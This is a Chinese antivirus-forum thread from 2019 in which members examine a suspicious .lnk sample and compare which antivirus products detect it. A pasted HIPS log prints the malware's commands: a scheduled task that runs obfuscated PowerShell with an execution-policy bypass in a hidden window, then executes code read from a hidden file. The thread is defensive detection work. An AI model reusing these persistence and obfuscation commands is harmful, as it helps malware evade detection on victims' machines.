搜索
查看: 1067|回复: 28
收起左侧

[可疑文件] suspicious lnk.2

[复制链接]
swizzer
发表于 2019-7-22 16:26:08 | 显示全部楼层 |阅读模式
本帖最后由 swizzer 于 2019-7-22 16:31 编辑



双击时请双击lnk
智量扫描miss,未测主防
欢迎双击!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +1 收起 理由
www-tekeze + 1 版区有你更精彩: )

查看全部评分

liu237
发表于 2019-7-22 16:28:47 | 显示全部楼层
本帖最后由 liu237 于 2019-7-22 16:31 编辑

ESET both miss虚拟机双击,喵,至今没见反应,木马吗?
a233
发表于 2019-7-22 16:29:57 | 显示全部楼层
Avast Miss
swizzer
 楼主| 发表于 2019-7-22 16:30:03 | 显示全部楼层

这种类fileless的东西扫描的确难以查出
swizzer
 楼主| 发表于 2019-7-22 16:33:48 | 显示全部楼层
liu237 发表于 2019-7-22 16:28
ESET both miss虚拟机双击,喵,至今没见反应,木马吗?

据云沙箱结果是恶意
swizzer
 楼主| 发表于 2019-7-22 16:38:57 | 显示全部楼层
liu237 发表于 2019-7-22 16:28
ESET both miss虚拟机双击,喵,至今没见反应,木马吗?

2019\7\22 星期一 16:34:34    创建新进程    允许
进程: c:\windows\explorer.exe
目标: c:\windows\system32\schtasks.exe
命令行: "C:\Windows\System32\schtasks.exe" /F /Create /TN "AI" /sc minute /MO 2 /ST 05:52 /TR "C:\Windows\system32\cmd.exe /c pow%tmp:~5,3%hell /ep bypass /win 1 /c '&{cd %public:~-15,9%;$m=ls -force -r -in comu*.*|select -last 1;$m=gc -LiteralPath $m|select -last 1;
规则: [应用程序]c:\windows\explorer.exe

2019\7\22 星期一 16:36:00    创建新进程    阻止
进程: c:\windows\system32\taskeng.exe
目标: c:\windows\system32\cmd.exe
命令行: C:\Windows\system32\cmd.exe /c pow%tmp:~5,3%hell /ep bypass /win 1 /c "&{cd %public:~-15,9%;$m=ls -force -r -in comu*.*|select -last 1;$m=gc -LiteralPath $m|select -last 1;iex $m}"
规则: [应用程序]* -> [子应用程序]『禁运』黑名单

挺狡猾的
静影沉璧
发表于 2019-7-22 16:45:19 | 显示全部楼层
这次BD漏了


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
swizzer
 楼主| 发表于 2019-7-22 16:47:20 | 显示全部楼层

果然fileless是各家软肋?
静影沉璧
发表于 2019-7-22 16:50:04 | 显示全部楼层
swizzer 发表于 2019-7-22 16:47
果然fileless是各家软肋?

这种东西可能企业版产品的情况好点
llcy
发表于 2019-7-22 17:11:25 | 显示全部楼层
本帖最后由 llcy 于 2019-7-22 17:16 编辑

文件: schtasks.exe (CL.Downloader!gen108)


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛|卡饭乐购| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 苏ICP备07004770号 ) GMT+8, 2019-9-16 12:47 , Processed in 0.083080 second(s), 6 queries , MemCache On.

快速回复 返回顶部 返回列表